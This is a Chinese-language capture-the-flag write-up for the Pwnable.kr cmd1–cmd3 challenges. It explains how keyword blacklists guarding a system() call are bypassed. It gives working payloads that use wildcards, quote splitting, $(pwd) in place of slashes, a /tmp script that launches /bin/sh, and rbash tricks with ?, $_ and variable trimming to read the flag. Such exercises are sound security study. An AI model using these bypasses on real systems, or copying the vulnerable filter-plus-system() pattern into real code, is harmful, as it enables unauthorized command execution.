处理命令行过滤(Pwnable.kr cmd 系列)
cmd1
题目规定需要绝对路径,简化的源代码如下
bool filter(char* cmd) {
// strstr(),0 表示没有找到子字符串
retrun strstr(cmd, "flag") || strstr(cmd, "sh") || strstr(cmd, "tmp");
}
int main(int argc, char* argv[], char** envp){
if( filter(argv[1]) ) return 0;
system( argv[1] );
return 0;
}
可以看到,如果单纯地使用
/bin/sh会失败,使用/bin/cat flag也会失败,所以怎么办呢?
解决方法: /bin/cat fla* 或者 /bin/cat 'f'lag
cmd2
题目规定需要绝对路径,简化的源代码如下
int filter(char* cmd){
return strstr(cmd, "=")!=0 || strstr(cmd, "PATH")!=0 || strstr(cmd, "export")!=0
|| strstr(cmd, "/") || strstr(cmd, "`")!=0 || strstr(cmd, "flag")!=0;
}
int main(int argc, char* argv[], char** envp){
if( filter(argv[1]) ) return 0;
system( argv[1] );
return 0;
}
首先一个问题:需要使用绝对路径,那么
cd 和 pwd需要绝对路径吗?
答案:不需要,因为pwd是shell built-in command. 使用which pwd,输出就是shell built-in command。
现在坏了,直接不能输入/了,这可怎么办?解决办法如下
-
使用
pwd命令,执行./cmd2 'cd .. && pwd',结果为/home;执行./cmd2 'cd .. && cd .. && pwd',结果为/,此时我们就可以用$(pwd)来代替/了。所以最后我们的输入为
./cmd2 'cd .. && cd .. && $(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fla*' -
因为限制了
bin,flag这些字段,所以我们新建文件/tmp/cmd2/allen,里面存/bin/sh,这样我们只要把那个文件改成可执行,然后执行这个文件即可,通过文件来绕过命令行过滤。所以最后我们的输入为
/home/cmd2/cmd2 '$(pwd)tmp$(pwd)allen',其中当前目录为/
cmd3
源代码是很长的 python 文件,这里就简单说一下。
首先是文件存储情况,有两个文件夹,flagbox和jail,jail中提供三个执行文件: ls, cat, id,flagbox中在程序运行是会存储一个随机命名文件,如KG3TSCVOPHSPINJD1N3MOD3T637CLX5L,程序运行时会告诉我们,然后我们要输出这个文件里的内容,然后会得到flag。
要求只可以使用以下字符:()[]{}<>#$%,?;_。不要求绝对路径,但是在rbash这个 shell 下执行的,关于这个 shell,可以参考[1],比较重要的一点,是不允许执行带有/的命令,但是除了命令是可以的。也即是说/bin/ls不可以,但是cat test/test.txt是可以的!
乍一看这道题,这怎么做嘛,就这几个破字符,连字母数字都不能输入,这怎么搞?所以,要慢慢来。下面都是利用 shell 的特性。
- 第一要解决
cat。
知识点一:shell 中 ? 匹配。比如当前文件夹有test.sh,如果我使用???????,那么 shell 就会匹配到test.sh,自动将我们输入转为匹配到的。本题目cat存放在jail目录中,所以我们使用????/???就可以匹配到了(有问题往下看)。
知识点二:shell 中 $_ 变量。上一步很好, 但 rbash 不允许使用/,所以命令会失败。但是 SHELL 有变量 $_ 表示上一次的 argv[-1], 所以我们仍然得到了变量$_ = jail/cat。
知识点三:shell 如何进行截断赋值。现在就是怎么处理这个变量, 使用____=${_#?????},这样$____变量就会丢弃$_变量的前面5个字符(因为?有5个),所以经过这样的赋值我们得到了变量$____ = cat。
- 第二要解决空格。
知识点四:shell 中有好几种方式可以代替空格。参考[2],现在我们可以用<>或者>来代替空格。但是,对于rbash,应该只能使用<而不能使用<>!
答案一
刚开始告诉我们存储密码的文件: flag/xxx(32bits), 此时我们新建 /tmp/__/1 文件, 其中内容即为 flag/xxx(32bits).
-
????/???
匹配到jail/cat, 即_为jail/cat. -
__=${_#?????}
让__等于cat, 由于PATH=jail, 所以执行cat是可以的. -
$($__</???/__/?)
括号里面相当于cat /tmp/__/1, 里面是flag/xxxx, 最终相当于我们执行了flag/xxxx命令. -
$__<$_
由于上一条执行了flag/xxx命令, 所以$_等于flag/xxx, 所以最终相当于cat flag/xxxx.
答案二
唯一的不同点是第三条, 干脆直接输入 ? * 7 / ? * 32, 我在这里用 * 7 缩写, 实际情况要全部写上, 最后同样会匹配到文件 flagbox/xxx(32bits).
重要说明
上面的两个答案, 一定要一起执行, 即最终输入为 cmd1; cmd2; cmd3; cmd4, 分开写是错的.
为什么是错的?
以第一句和第二句为例. 第一句
????/???想匹配jail/cat, 此时命令行最后会输出错误信息:/bin/rbash: line 1: jail/cat: ....如果单独写这一句后回车, 此时的
$_为/bin/rbash!!! 但如果不是单独一句, 比如cmd1; cmd2, 在执行cmd2的时候,$_为jail/cat!!!仔细体会这之间的差异, 原因就是由于回车后,
rbash发现错误后相当于执行了rbash命令, 导致$_成了/bin/rbash.
总结
-
有一些命令是自带命令,这些并不是执行
/bin目录中的可执行文件, 比如pwd,不确定的话可以使用which命令查看一下 -
以例子来谈,使用
fla*来解决flag的限制,使用$(pwd)来解决/的限制 -
SHELL 特殊用法:
?,$_,<,<> -
cmd3可以好好看看, 以及一定要注意$_可能会被最后的报警产生意外的错误